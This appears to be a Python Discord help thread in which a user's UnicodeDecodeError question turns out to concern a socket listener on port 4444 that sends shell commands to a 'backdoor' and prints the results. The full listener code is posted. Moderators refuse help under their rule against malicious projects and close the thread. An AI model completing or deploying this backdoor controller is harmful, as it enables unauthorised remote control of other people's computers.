#๐ keep getting a unicodecodeError when trying to decode bytes in utf-8
48 messages ยท Page 1 of 1 (latest)
@sage lodge
Remember to:
- Ask your Python question, not if you can ask or if there's an expert who can help.
- Show a code sample as text (rather than a screenshot) and the error message, if you've got one.
- Explain what you expect to happen and what actually happens.
:warning: Do not pip install anything that isn't related to your question, especially if asked to over DMs.
!d bytes.decode
bytes.decode(encoding='utf-8', errors='strict')``````py
bytearray.decode(encoding='utf-8', errors='strict')```
Return the bytes decoded to a [`str`](https://docs.python.org/3/library/stdtypes.html#str).
*encoding* defaults to `'utf-8'`; see [Standard Encodings](https://docs.python.org/3/library/codecs.html#standard-encodings) for possible values.
*errors* controls how decoding errors are handled. If `'strict'` (the default), a [`UnicodeError`](https://docs.python.org/3/library/exceptions.html#UnicodeError) exception is raised. Other possible values are `'ignore'`, `'replace'`, and any other name registered via [`codecs.register_error()`](https://docs.python.org/3/library/codecs.html#codecs.register_error). See [Error Handlers](https://docs.python.org/3/library/codecs.html#error-handlers) for details.
For performance reasons, the value of *errors* is not checked for validity unless a decoding error actually occurs, [Python Development Mode](https://docs.python.org/3/library/devmode.html#devmode) is enabled or a [debug build](https://docs.python.org/3/using/configure.html#debug-build) is used.
Note
Passing the *encoding* argument to [`str`](https://docs.python.org/3/library/stdtypes.html#str) allows decoding any [bytes\-like object](https://docs.python.org/3/glossary.html#term-bytes-like-object) directly, without needing to make a temporary `bytes` or `bytearray` object.
try changing errors to "ignore"
i did
but most of the output is just bytes
so?
its a listener
!paste
If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/
After pasting your code, save it by clicking the Paste! button in the bottom left, or by pressing CTRL + S. After doing that, you will be navigated to the new paste's page. Copy the URL and post it here so others can see it.
lemme see the code
alr
Hey @sage lodge!
It looks like you're trying to paste code into this channel.
Discord has support for Markdown, which allows you to post code with full syntax highlighting. Please use these whenever you paste code, as this helps improve the legibility and makes it easier for us to help you.
To do this, use the following method:
```py
print('Hello, world!')
```
This will result in the following:
print('Hello, world!')```
You can **edit your original message** to correct your code block.
import socket
IP = "blank"
PORT = 4444
listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
listener.bind((IP,PORT))
listener.listen(0)
print("[+] waiting for incoming connections...")
con, addr = listener.accept()
print(f"[+] connection detected from {addr}")
while True:
command = input(">>")
con.send(command.encode("utf-8"))
result = con.recv(1024).decode("utf-8")
print(result)
@woven spadeit works now ty for ur time
its really choppy tho
whats this for? 
a listener for a backdoor

it sends commands and the backdoor executes them and sends the output
<@&831776746206265384> "a listener for a backdoor"
๐
!rule 5
5. Do not provide or request help on projects that may violate terms of service, or that may be deemed inappropriate, malicious, or illegal.
its mine tho
mf just confessed straight away
its my computer?
It's like he didn't even try to hide it
"a listener for a backdoor" is a really bad way of saying "a remote connection to my pc when i'm out"
its on my pc.
yeah but we have no idea if you're gonna use that for other pcs

i get it but i saw a guy asking for advice for a RAT so i thought it was ok
Where? This is explicity against our rules
in the cybersecurity section
And they were told not to
idk i just thought it was allowed as long as it wasn't used for sum bad
Unfortunately we don't have any way of being able to verify that, so we don't provide help on any potentially malicious software, sorry
my fault
This is not a Modmail thread.
!close
This help channel has been closed and it's no longer possible to send messages here. If your question wasn't answered, feel free to create a new post in #1035199133436354600. To maximize your chances of getting a response, check out this guide on asking good questions.